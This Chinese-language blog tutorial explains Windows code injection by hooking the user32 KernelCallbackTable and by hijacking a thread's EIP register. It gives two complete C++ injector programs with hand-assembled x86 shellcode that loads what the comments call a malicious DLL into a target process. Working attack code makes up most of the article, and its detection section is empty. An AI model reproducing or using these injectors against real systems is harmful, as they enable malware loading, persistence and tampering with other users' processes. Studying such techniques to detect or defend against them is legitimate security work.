代码注入之Hook注入

代码注入的核心包含两大关键环节:一是将代码载入目标进程 ;二是为载入的代码获取执行时机 。不同代码注入方式的本质差异,正体现在这两个环节的实现策略上。本文介绍的Hook注入,重点关注** "获取执行时机"** 这一环节,通过 hook 手段达成目标;而对于 "载入代码到目标进程" 这一环节,是使用Windows提供的WriteProcessMemory类API将代码和数据写到目标进程,不需要多做解释。

Hook对象

Hook 对象可以是 IAT(导入地址表)、代码段、内核回调表、EIP/RIP(指令指针寄存器) 等。

  • Hook IAT或代码:仅当函数被调用或代码被执行时触发Hook代码,执行时机依赖程序逻辑,可控性较低。
  • Hook内核回调表:user32的内核回调表包含窗口消息处理的相关函数,在窗口进程中调用频率极高,选择高频回调函数可快速获取执行时机。
  • Hook EIP/RIP:直接修改线程指令指针寄存器(EIP/RIP),使其指向写入的代码,执行时机确定性最高,线程恢复执行后能立即触发代码执行。

Hook IAT或代码 比较常见,下面主要介绍Hook内核回调表Hook EIP/RIP这两种注入方式。

hook内核回调表

代码注入之消息钩子注入中就提到了内核回调表,消息钩子是通过内核回调表中的__ClientLoadLibrary函数加载dll,以及__fnHk*函数执行钩子函数。内核回调表中还包含了与窗口消息处理相关的其他函数,而窗口进程中消息处理的频率非常高,所以可以通过Hook这些函数,来快速获得执行时机。

  1. 回调函数选择

Hook操作类似于Inline Hook,先保存寄存器环境,然后执行其他逻辑(比如加载dll),最后恢复寄存器环境,跳向原函数地址继续原始的代码逻辑,所以不需要关心目标函数的功能,我们只是用它来获取执行时机。

选择时,可在调试工具中对回调函数下断点,看看哪个函数断点最快被触发;或者通过调试器脚本,记录一段时间内回调函数的执行次数,筛选出高频函数。

  1. Hook实现方案
  • 直接Hook:直接修改user32中内核回调表中的目标函数的指针,指向注入的代码。
  • Hook备份表:拷贝一份user32的内核回调表,修改备份表中的对应函数,然后修改PEB中内核回调表指针指向备份表。
  1. 示例代码

以直接Hook user32中的 __fnDWORD 函数为例,在Hook代码中去加载恶意dll,注入过程的关键代码为:

C++ 复制代码
int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 3. 准备shellcode
    LoadLibraryA("user32.dll");
    PEB* peb = (PEB*)__readfsdword(0x30);
    PVOID* table = (PVOID*)peb->u3.KernelCallbackTable;
    const uint32_t kIndexOffnDWORD = 2;
    PVOID fnDWORDAddr = table[kIndexOffnDWORD];
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original __fnDWORD
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C); // 系统dll在不同进程中的加载地址一样,所以可以直接使用本进程中的地址计算偏移
    *(uint32_t*)(shellcode + 0x0F) = (uint32_t)fnDWORDAddr - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 4. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 5. 修改 KernelCallbackTable 的属性,以便修改
    DWORD oldProtect = 0;
    VirtualProtectEx(hProcess, &table[kIndexOffnDWORD], sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 6. 修改 KernelCallbackTable 中的 __fnDWORD,指向shellcode,完成hook
    WriteProcessMemory(hProcess, &table[kIndexOffnDWORD], &addr, sizeof(addr), nullptr);

    CloseHandle(hProcess);
    return 0;
}

查看视频演示

Hook EIP/RIP

线程的下一条指令地址存储在EIP(32位)/RIP(64位)寄存器中,通过修改该寄存器值,使其指向注入的shellcode,可直接获取执行时机。线程的当前上下文信息中包含了 EIP/RIP 寄存器的值,所以可以通过 GetThreadContextSetThreadContext 获取和设置EIP/RIP,注意在此之前需要先暂停线程。

关键代码如下:

C++ 复制代码
HANDLE getFirstThread(uint32_t pid) {
    // 找到目标进程中的线程
    HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid);
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    Thread32First(hThreadSnapshot, &te32)
    do {
        if (te32.th32OwnerProcessID == pid) {
            break;
        }
    } while (Thread32Next(hThreadSnapshot, &te32));
    CloseHandle(hThreadSnapshot);

    // 获取目标线程的句柄
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
    return hThread;
}

int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 暂停目标进程中的某个线程,获取线程EIP
    HANDLE hThread = getFirstThread(targetPid);
    SuspendThread(hThread);

    CONTEXT context = { 0 };
    context.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hThread, &context);

    // 3. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 4. 准备shellcode
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original EIP
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C);
    *(uint32_t*)(shellcode + 0x0F) = context.Eip - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 5. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 6. 修改EIP为shellcode,并恢复线程
    context.Eip = reinterpret_cast<uint32_t>(addr);
    SetThreadContext(hThread, &context);
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

查看视频演示

检测与对抗

相关推荐
杭州泽沃电子科技有限公司1 小时前
在线监测:为医药精细化工奠定安全、合规与质量基石
运维·人工智能·物联网·安全·智能监测
GIS数据转换器1 小时前
GIS+大模型助力安全风险精细化管理
大数据·网络·人工智能·安全·无人机
普普通通的南瓜2 小时前
IP证书在关键信息基础设施安全防护中的实践与挑战
网络·数据库·网络协议·tcp/ip·安全·ssl
合作小小程序员小小店2 小时前
桌面安全开发,桌面二进制%恶意行为拦截查杀%系统安全开发3.0,基于c/c++语言,mfc,win32,ring3,dll,hook,inject,无数据库
c语言·开发语言·c++·安全·系统安全
E***U9453 小时前
前端安全编程实践
前端·安全
数据堂官方账号3 小时前
行业洞见 | AI鉴伪:数据驱动的数字安全变革
人工智能·安全
x***B4113 小时前
React安全编程实践
前端·安全·react.js
wanhengidc3 小时前
云手机中的数据通常存储在哪里?
运维·服务器·安全·web安全·智能手机
海上彼尚6 小时前
[逆向] 1.本地登录爆破
前端·安全
dyxal7 小时前
非对称加密:彻底解决密钥分发难题的数字安全革命
服务器·网络·安全